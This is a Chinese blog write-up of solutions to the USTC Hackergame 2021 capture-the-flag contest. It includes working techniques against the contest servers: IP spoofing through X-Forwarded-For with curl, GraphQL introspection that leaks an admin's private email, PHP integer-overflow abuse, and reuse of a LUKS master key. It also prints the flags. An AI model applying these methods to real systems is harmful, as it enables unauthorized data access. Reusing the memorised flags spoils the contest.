blog/ustclug-hackergame-2021-write-up

USTC Hackergame 2021 write up

又来参加 Hackergame 了,这次的题目整体偏难。最后得分是 2400,92 / 2677。

签到

为了能让大家顺利签到,命题组把每一秒的 flag 都记录下来制成了日记本的一页。你只需要打开日记,翻到 Hackergame 2021 比赛进行期间的任何一页就能得到 flag!

点击 Next,看到日期往后了一秒,query string 变成 page=1。看起来是 UNIX timestamp,获取一个比赛期间的 timestamp 就可以了。

import datetime
d = datetime.datetime(2021, 10, 24)
d.timestamp()
1635004800.0

猫咪问答 Pro Max

  1. 2017 年,中科大信息安全俱乐部(SEC@USTC)并入中科大 Linux 用户协会(USTCLUG)。目前,信息安全俱乐部的域名(sec.ustc.edu.cn)已经无法访问,但你能找到信息安全俱乐部的社团章程在哪一天的会员代表大会上通过的吗?

Never foget anything, 会使用因特网档案馆是互联网公民的基本技能。

https://web.archive.org/web/20181004003308/http://sec.ustc.edu.cn/doku.php/codes

  1. 中国科学技术大学 Linux 用户协会在近五年多少次被评为校五星级社团?

https://lug.ustc.edu.cn/wiki/intro/

  1. 中国科学技术大学 Linux 用户协会位于西区图书馆的活动室门口的牌子上“LUG @ USTC”下方的小字是?

https://lug.ustc.edu.cn/news/2016/06/new-activity-room-in-west-library/

  1. 在 SIGBOVIK 2021 的一篇关于二进制 Newcomb-Benford 定律的论文中,作者一共展示了多少个数据集对其理论结果进行验证?

找到了那篇论文,但是不想读了,直接用 requests 枚举了结果,答案是 13

  1. 不严格遵循协议规范的操作着实令人生厌,好在 IETF 于 2021 年成立了 Protocol Police 以监督并惩戒所有违背 RFC 文档的行为个体。假如你发现了某位同学可能违反了协议规范,根据 Protocol Police 相关文档中规定的举报方法,你应该将你的举报信发往何处?

又到了喜闻乐见的愚人节 RFC 环节。根据 RFC8962,你应当将举报信发往 /dev/null

进制十六——参上

$ xxd -r <<< '20 66 6C 61 67 7B 59 30 55 5F 53 48 30 55 31 44 5F 6B 6E 30 77 5F 48 30 57 5F 74 30 5F 43 30 6E 76 33 72 74 5F 48 45 58 5F 74 6F 5F 54 65 78 54 7D'
flag{Y0U_SH0U1D_kn0w_H0W_t0_C0nv3rt_HEX_to_TexT}

去吧!追寻自由的电波

(前情提要) 为了打破 Z 同学布下的结界,X 同学偷偷搬出社团的业余无线电台试图向外界通讯。

当然,如果只是这样还远远不够。遵依史称“老爹”的上古先贤的至理名言,必须要“用魔法打败魔法”。X 同学向上级申请到了科大西区同步辐射实验室设备的使用权限,以此打通次元空间,借助到另一个平行宇宙中 Z 同学的法力进行数据对冲,方才于乱中搏得一丝机会,将 flag 用无线电的形式发射了出去。

考虑到信息的鲁棒性,X 同学使用了无线电中惯用的方法来区分字符串中读音相近的字母。即使如此,打破次元的强大能量扭曲了时空,使得最终接受到的录音的速度有所改变。

为了保障同步辐射设备的持续运转,组织牺牲了大量的能源,甚至以东北部分地区无计划限电为代价,把这份沉甸甸的录音文件送到了你的手上。而刚刚起床没多久,试图抢签到题一血还失败了的你,可以不辜负同学们对你的殷切期望吗?

注:flag 花括号内只包含小写字母。

使用 Audacity 打开音频,Ctrl+A 选中全部,点击 Effect > Change Speed...,调整为 0.3 倍速左右。此时便可以清晰地听到以下念词:

foxtrot lima alfa golf left-bracket papa hotel oscar november echo tango india charlie alfa bravo right-bracket

对照北约音标字母表即可得到 flag(就是 “phonetic alphabet” 的缩写):

flag{phoneticab}

不建议使用 VLC、mpv 等播放器更改播放速度。他们不会进行插值,采样率不变,因此听起来就是断断续续的高频。

透明的文件

一个透明的文件,用于在终端中展示一个五颜六色的 flag。

可能是在 cmd.exe 等劣质终端中被长期使用的原因,这个文件失去了一些重要成分,变成了一堆乱码,也不会再显示出 flag 了。

注意:flag 内部的字符全部为小写字母。

文件内容是类似于这样的:

[0;0H[20;58H[8;34H[13;27H[4;2H[38;2;1;204;177m [39m[14;10H[20;51H[23;4H[12;2H[38;2;2;207;173m [39m[19;61H[9;12H[22;8H[20;2H[38;2;3;210;169m

可以看出是一堆 ANSI 颜色代码,但是丢失了 ESC 字符。用 Vim 在每个 [ 前加回去就可以了(在 Vim 中输入 ^[ 的方法为 Ctrl+V Ctrl+[

:%s/\[/^[[/g

保存然后 cat 一下,发现什么都没有。不过既然题目说是 “透明” 文件,那么试试先把终端填满再 cat 看看

python -c "print('#'*$(tput cols)*$(tput lines))" && cat transparent.txt

赛博厨房

虽是 general 但更是道 math 题,后两小问大概需要破解 seedrandom 的伪随机数算法。不过前两小问就是青少年编程题,咱还是能解出来的。

Level 0

对机器人编程可以使用的指令有(n, m 为整数参数,程序的行号从 0 开始,注意指令中需要正确使用空格):

向上 n 步
向下 n 步
向左 n 步
向右 n 步
放下 n 个物品
拿起 n 个物品
放下盘子
拿起盘子
如果手上的物品大于等于 n 向上跳转 m 行
如果手上的物品大于等于 n 向下跳转 m 行

将对应 ID 的食材放入锅中即可,这关需要两个食材,可供选择的有两种食材。每次添加程序菜谱都会变,但一共也只有四种,写四个程序就可以了。

0, 00, 11, 01, 1
向右 2 步
拿起 1 个物品
向左 2 步
向下 1 步
放下 1 个物品
向上 1 步
向右 2 步
拿起 1 个物品
向左 2 步
向下 1 步
放下 1 个物品
向右 1 步
拿起 1 个物品
向左 1 步
向下 1 步
放下 1 个物品
向上 1 步
向右 2 步
拿起 1 个物品
向左 2 步
向下 1 步
放下 1 个物品
向右 2 步
拿起 1 个物品
向左 2 步
向下 1 步
放下 1 个物品
向上 1 步
向右 1 步
拿起 1 个物品
向左 1 步
向下 1 步
放下 1 个物品
向右 2 步
拿起 1 个物品
向左 2 步
向下 1 步
放下 1 个物品
向上 1 步
向右 2 步
拿起 1 个物品
向左 2 步
向下 1 步
放下 1 个物品

Level 1

今日菜谱物品 ID:0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

一共要放 73 个物品,程序长度限制是 72,所以要用循环。

向右 1 步
拿起 73 个物品
向左 1 步
向下 1 步
放下 1 个物品
如果手上的物品大于等于 0 向上跳转 1 行

FLAG 助力大红包

  1. 用户在本活动中可以通过邀请好友助力的方式获得 flag 提现机会。收集满 1 个 flag ,即可提取 1 个 flag。

  2. 用户在页面规定的时间内累计获得的 flag 达到一定的门槛才可提取。如未达到门槛,所积累的 flag 会失效的呦。

  3. 当用户累计的 flag 达到目标之后,可以保留提取 flag 机会 24 小时(保留时间从参与活动开始算起)。逾期未提取,flag 将会失效。

  4. 每个用户只能够助力一次。为了建设世界一流大砍刀平台,活动要求位于同一 /8 网段的用户将会被视为同一个用户。(比如 IP 地址为 202.38.64.1 和 202.39.64.1 将被视为同一用户。)达到助力次数上线后,将无法再帮助好友助力。我们使用前后端方式检查用户的 IP 。

前端引用了搜狐 API 返回 IP 填入 form 中隐藏的 input 中提交(虽然被咱的 uBlock Origin 屏蔽了)。有的后端可能会响应 X-Forwarded-For 头于是试了试。

for i in {0..256}.0.0.1; do
    curl -d ip=$ip -H "X-Forwarded-For: $ip" http://202.38.93.111:10888/invite/0ab47736-0a54-4941-9e9b-c757b81ce539
    sleep 1
done

图之上的信息

小 T 听说 GraphQL 是一种特别的 API 设计模式,也是 RESTful API 的有力竞争者,所以他写了个小网站来实验这项技术。

你能通过这个全新的接口,获取到没有公开出来的管理员的邮箱地址吗?

打开 DevTools,登入 guest,发现前端通过请求 /graphql 获取数据。

POST /graphql HTTP/1.1
Content-Type: application/json

{"query":"{ notes(userId: 2) { id\ncontents }}"}

HTTP/1.1 200 OK
Content-Type: application/json

{"data":{"notes":[{"id":2,"contents":"Flag 是 admin 的邮箱。"}]}}

选择 Console,尝试构造获取 admin 笔记的请求,返回权限不足。

>> axios.post("/graphql", {query: "{ notes(userId: 1) { id\ncontents }}"}).then(x => console.log(x.data))

{"errors":[{"message":"This user has no permission to access this.","locations":[{"line":1,"column":3}],"path":["notes"]}],"data":{"notes":null}}

使用这篇回答的方法获取数据的原型:

>> axios.post("/graphql", {query: `{
  __schema {
    types {
      name
      fields {
        name
        description
      }
    }
  }
}`}).then(x => console.log(x.data))

{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "Query",
          "fields": [
            {
              "name": "note",
              "description": "Get a specific note information"
            },
            {
              "name": "notes",
              "description": "Get notes information of a user"
            },
            { "name": "user", "description": "Get a specific user information" }
          ]
        },
        {
          "name": "GNote",
          "fields": [
            { "name": "id", "description": null },
            { "name": "contents", "description": null }
          ]
        },
        {
          "name": "GUser",
          "fields": [
            { "name": "id", "description": null },
            { "name": "username", "description": null },
            { "name": "privateEmail", "description": null }
          ]
        }
      ]
    }
  }
}

可见 GUser 类型有 privateEmail 字段,于是尝试构造 user 请求:

axios.post("/graphql", {query: '{ user(id: 1) { username, privateEmail }}'}).then(x => console.log(x.data))

{"data":{"user":{"username":"admin","privateEmail":"flag{dont_let_graphql_l3ak_data_955041b187@hackergame.ustc}"}}}

卖瓜

有一个人前来买瓜。

你拥有以下物品:

  • 一个大棚,里面有许多 6 斤一个的瓜和许多 9 斤一个的瓜。
  • 一个电子秤(最开始是空的);

你的任务是在电子秤上称出刚好 20 斤的瓜。

尝试在 6 斤西瓜中输入一个很大的数,点击操作后称上依然为零;在 9 斤西瓜中输入一个很大的数,点击操作后称上变为负数,像是溢出了。在 HTTP 回应头中发现是 PHP:

HTTP/1.1 302 Found
X-Powered-By: PHP/8.0.10
Location: /

PHP 的 int 不是大数,有大小限制。超过最大值会转为 float 并失去一些精度,但也不会溢出变成负数。可能是程序中进行了一些奇怪的操作,导致出现了类似于溢出的效果。

php > echo PHP_INT_MAX;
9223372036854775807

于是在这个数附近瞎试出来了以下步骤:

  1. 0 + 6*9223372036854774807 = -8192
  2. -8192 + 6*9223372036854774807 = -16384
  3. -16384 + 9*1820 = -4
  4. -4 + 4*6 = 20

加密的 U 盘

第一天

小 T:「你要的随机过程的课件我帮你拷好了,在这个 U 盘里,LUKS 加密的密码是 suijiguocheng123123。」

小 Z:「啊,你又搞了 Linux 文件系统加密,真拿你没办法。我现在不方便用 Linux,我直接把这块盘做成磁盘镜像文件再回去处理吧。」

第二天

小 Z:「谢谢你昨天帮我拷的课件。你每次都搞这个加密,它真的安全吗?」

小 T:「当然了!你看,你还给我之后,我已经把这块盘的弱密码改掉了,现在是随机生成的强密码,这样除了我自己,世界上任何人都无法解密它了。」

小 Z:「我可不信。」

小 T:「你不信?你看,我现在往 U 盘里放一个 flag 文件,然后这个 U 盘就给你了,你绝对解密不出来这个文件的内容。当初搞 LUKS 的时候我可研究了好几天,班上可没人比我更懂加密!」

首先要知道的是 LUKS 并不是用密码来加密分区的,而是用创建 LUKS 时随机生成的 master key 加密分区、用密码加密 master key。这样的设计使得 LUKS 添加密码时无需重新加密文件。但也意味着密码泄漏后必须重新加密,不能只改掉密码。

首先把分区从分区表中拿出来:

user$ fdisk -l day1.img
Disk day1.img: 20 MiB, 20971520 bytes, 40960 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: E1D1730D-1029-44A4-898B-FEBC77E7884F

Device     Start   End Sectors Size Type
day1.img1   2048 40926   38879  19M Linux filesystem

user$ dd if=day1.img of=day1.img1 skip=2048 count=38879
user$ dd if=day2.img of=day2.img1 skip=2048 count=38879

看看 LUKS 头信息:

user$ cryptsetup luksDump day1.img1
Keyslots:
  0: luks2
	Key:        512 bits
	Priority:   normal
	Cipher:     aes-xts-plain64
	Cipher key: 512 bits
	PBKDF:      pbkdf2
	Hash:       sha256
	Iterations: 1581562
	Salt:       b6 95 26 1a d3 8d bb 51 fb 78 c2 1b 87 6b 9f 5a 
	            66 10 4c 01 8f ae eb 30 53 c4 93 03 fd 1a 68 d6 
	AF stripes: 4000
	AF hash:    sha256
	Area offset:32768 [bytes]
	Area length:258048 [bytes]
	Digest ID:  0
Tokens:
Digests:
  0: pbkdf2
	Hash:       sha256
	Iterations: 104857
	Salt:       3c f9 97 83 b9 08 0e b0 c8 ee b5 cc 63 f1 79 1f 
	            1f df a5 11 cc 6e 48 53 b9 04 24 36 a4 4b 8d 55 
	Digest:     67 59 6a 45 a1 a1 6a 8e 09 75 71 5c b6 3c 83 9f 
	            6c 00 ad d0 a4 df fe 9a 13 01 70 f8 de 03 a2 2b

user$ cryptsetup luksDump day2.img1
Keyslots:
  0: luks2
	Key:        512 bits
	Priority:   normal
	Cipher:     aes-xts-plain64
	Cipher key: 512 bits
	PBKDF:      argon2i
	Time cost:  4
	Memory:     766293
	Threads:    4
	Salt:       b6 8e 65 2e 30 be 04 34 9a f5 82 5d 90 2c 44 de 
	            ed de 99 fb d7 12 e0 72 d2 4a b6 95 af 75 bc 57 
	AF stripes: 4000
	AF hash:    sha256
	Area offset:32768 [bytes]
	Area length:258048 [bytes]
	Digest ID:  0
Tokens:
Digests:
  0: pbkdf2
	Hash:       sha256
	Iterations: 104857
	Salt:       3c f9 97 83 b9 08 0e b0 c8 ee b5 cc 63 f1 79 1f 
	            1f df a5 11 cc 6e 48 53 b9 04 24 36 a4 4b 8d 55 
	Digest:     67 59 6a 45 a1 a1 6a 8e 09 75 71 5c b6 3c 83 9f 
	            6c 00 ad d0 a4 df fe 9a 13 01 70 f8 de 03 a2 2b

可见只改了密码,没有重建 LUKS,master key 没变。于是将已知密码的 day1.img1 的 master key 给解密出来:

user$ cryptsetup luksDump --dump-master-key day1.img1

WARNING!
========
The header dump with volume key is sensitive information
that allows access to encrypted partition without a passphrase.
This dump should be stored encrypted in a safe place.

Are you sure? (Type 'yes' in capital letters): YES
Enter passphrase for day1.img1: suijiguocheng123123
LUKS header information for day1.img1
Cipher name:   	aes
Cipher mode:   	xts-plain64
Payload offset:	32768
UUID:          	e9a660d5-4a91-4dca-bda5-3f6a49eea998
MK bits:       	512
MK dump:	be 97 db 91 5c 30 47 ce 1c 59 c5 c0 8c 75 3c 40 
		72 35 85 9d fe 49 c0 52 c4 f5 26 60 af 3e d4 2c 
		ec a3 60 53 aa 96 70 4d f3 f2 ff 56 8f 49 a1 82 
		60 18 7c 58 d7 6a ec e8 00 c1 90 c1 88 43 f8 9a

user$ cat > master-key.txt << EOF
be 97 db 91 5c 30 47 ce 1c 59 c5 c0 8c 75 3c 40 
72 35 85 9d fe 49 c0 52 c4 f5 26 60 af 3e d4 2c 
ec a3 60 53 aa 96 70 4d f3 f2 ff 56 8f 49 a1 82 
60 18 7c 58 d7 6a ec e8 00 c1 90 c1 88 43 f8 9a
EOF

user$ xxd -r -p master-key.txt > master-key

使用 master key 给 day2.img1 加个密码:

user$ cryptsetup luksAddKey day2.img1 --master-key-file master-key
Enter new passphrase for key slot: 1
Verify passphrase: 1

然后解密、挂载、获得 flag:

root# cryptsetup luksOpen day2.img1 day2
Enter passphrase for day2.img1: 1

root# mkdir day2
root# mount /dev/mapper/day2 day2

user$ cat day2/flag.txt 
flag{changing_Pa55w0rD_d0esNot_ChangE_Luk5_ma5ter_key}

旅行照片

你的学长决定来一场说走就走的旅行。通过他发给你的照片来看,他应该是在酒店住下了。

从照片来看,酒店似乎在小区的一栋高楼里,附近还有一家 KFC 分店。突然,你意识到照片里透露出来的信息比表面上看起来的要多。

请观察照片并答对全部 5 道题以获取 flag。注意:图片未在其他地方公开发布过,也未采取任何隐写措施(通过手机拍摄屏幕亦可答题)。

将左上角的肯德基单独截出来,用图片搜索引擎搜索,选中 “看起来相似的图片” 并添加关键词 “肯德基”。找到了一张看起来挺像的图片,标题为 “蒂芙尼蓝kfc”。

以此为关键词搜索,结果指向了 “秦皇岛新澳海底世界海豚馆旁”。在地图上搜索 “肯德基(新澳海底世界店)”,找到电话号码。

进入全景,四处逛逛,找到了图片中的那片鱼鳞形停车场和那块标志性的大石头。只是拍全景时那家肯德基甜品站大概还没建。

所以左边三个字就是 “海豚馆”,拍照方向就是西南了。看建筑阴影太阳此时在西边,所以是傍晚。拍摄楼层一个个枚举就行了。

阵列恢复大师

以下是两个压缩包,分别是一个 RAID 0 阵列的磁盘压缩包,和一个 RAID 5 阵列的磁盘压缩包,对应本题的两小问。你需要解析得到正确完整的磁盘阵列,挂载第一个分区后在该分区根目录下使用 Python 3.7 或以上版本执行 getflag.py 脚本以获取 flag。磁盘数据保证无损坏。

这里我用了 R-Studio 恢复数据,这是一款闭源软件,但它十分好用。

选择 Drive > Open Image...,选择 All files(*),打开所有 img 文件。点击 RAIDs > Create Virtual Block RAID & Autodetect。点击新创建的 Virtual Block RAID 1,将刚刚打开的 img 文件一个个拖进去(注意是整个硬盘而不是识别出的分区)。

点击右边的 Auto Detect 按钮,它会自动识别可能的排列顺序并给出其为正确的可能性。

点击 Apply,此时已经识别出了分区 My Disk。点击 Scan > Scan,然后点击 Show Files,可以看到已经有了 getflag.py

右键 My Disk,选择 Create Image...,在弹出的窗口中选择 Byte to byte image,保存。这个 My Disk.dsk 就是可以挂载的文件了。

root# mkdir disk
root# mount 'My Disk.dsk' disk
root# cd disk
root# python getflag.py
...
./files/parcel-ts/styles/less/style.less 572591cb73289b747b46a68b740c40e47f65eeba597029f47c589f0057ae20aa
./files/parcel-ts/tsconfig.json 071b905902a9f6b1cddd52c4b96182b4d698c592fed6c3aeca56565dc61c87eb
./files/parcel-ts/yarn.lock b3db3c3e9987627ac4b486be5fe04ac48e54d4ff68f273b228afe6f9ef109da4
Flag: flag{a18325a1ec0f58292908455c2df8ffcd}

p😭q

学会傅里叶的一瞬间,悔恨的泪水流了下来。

当我看到音频播放器中跳动的频谱动画,月明星稀的夜晚,深邃的银河,只有天使在浅吟低唱,复杂的情感于我眼中溢出,像是沉入了雾里朦胧的海一样的温柔。

这一刻我才知道,耳机音响也就图一乐,真听音乐还得靠眼睛。

(注意:flag 花括号内是一个 12 位整数,由 0-9 数位组成,没有其它字符。)

点击下面按钮下载源代码与图片

老外、耳机、眼泪.webp

题目使用 librosa 读取音频,然后使用 librosa.feature.melspectrogram 将时域转为时频谱,使用 librosa.power_to_db 转为分贝表示。最后使用 numpy “画图”,每个频率两像素宽,频率之间间隔两像素,并用 array2gif.write_gif 写入文件。

比较坑的一点是惯性思维中横轴是频率、帧的流动是时间,这里恰好相反。源码中有这样一个不起眼的小地方将矩阵转置了过来:

for frame in spectrogram.transpose()

读取 GIF 可以使用 pillow,使用 im.seek 可以定位到 GIF 的指定帧。用 np.array(im) 可以将该帧转为矩阵,在这里 0 代表白色,1 代表红色。然后使用 [2::4] 跳过两像素的白色间隙,每两个红色位置的像素取一个样。将该帧的橫行加起来就是该帧的频域。

im = Image.open('flag.gif')
result = []
for i in range(im.n_frames):
    im.seek(i)
    result.append(sum([row[2::4] for row in np.array(im)]))

转置回来,然后使用上面提到的 librosa.power_to_db librosa.feature.melspectrogram 的反函数 librosa.db_to_power librosa.feature.inverse.mel_to_audio 转为时域就可以了。

dbdata = read_gif().transpose() / 2
powerdata = librosa.db_to_power(dbdata)

audio = librosa.feature.inverse.mel_to_audio(
    powerdata,
    sample_rate,
    hop_length=frame_step_size,
    window=window_function_type,
    n_fft=fft_window_size,
)

import soundfile
soundfile.write('flag.ogg', audio, sample_rate)

打开即可听到以下念词(同样推荐使用 Audacity,这样可以一边看波形一边暂停):

The flag is: f l a g six hundred thirty four billion nine hundred seventy one million two hundred forty three thousand five hundred eighty two

也就是 flag{634971243582}完整代码见 Gist

Amnesia

你的程序只需要输出字符串 Hello, world!(结尾有无换行均可)并正常结束。

编译后 ELF 文件的 .data 和 .rodata 段会被清零。

连接题目:nc 202.38.93.111 10051 或网页终端

判题脚本:下载

C 语言的常量(如字符串字面量)在编译后会被放入 data segment 中,要想不被清除,不组成字符串即可。

#include <stdio.h>
int main() {
    putchar('H');
    putchar('e');
    putchar('l');
    putchar('l');
    putchar('o');
    putchar(',');
    putchar(' ');
    putchar('w');
    putchar('o');
    putchar('r');
    putchar('l');
    putchar('d');
    putchar('!');
    putchar('\n');
}

About Me